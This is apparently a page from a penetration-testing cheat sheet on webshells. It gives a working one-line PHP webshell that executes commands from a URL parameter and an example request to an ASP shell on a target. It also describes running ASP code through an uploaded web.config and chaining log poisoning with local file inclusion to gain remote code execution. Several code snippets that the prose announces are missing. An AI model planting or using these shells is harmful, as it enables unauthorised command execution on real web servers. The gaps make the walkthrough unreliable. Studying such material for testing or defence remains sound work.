Webshell
Webshell
PHP 15 bytes shell
<?=`$_GET[0]`?>
Asp/Aspx
One Line ASP Shell
Request with: http://target/shell.asp?cmd=ipconfig
SharPyShell: SharPyShell - tiny and obfuscated ASP.NET webshell for C# web applications.
Running web.config as an ASP file
Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:
References: https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/
Log poisoning + LFI + shell
Required: Initial LFI found 😼

Here you will get intercepted data where we need to inject our cmd comment inside user-agent by replacing highlighted data.

We can also try to add via netcat:
Next, get RCE by adding the cmd parameter:

Reference: https://www.hackingarticles.in/apache-log-poisoning-through-lfi/
Last updated
Was this helpful?
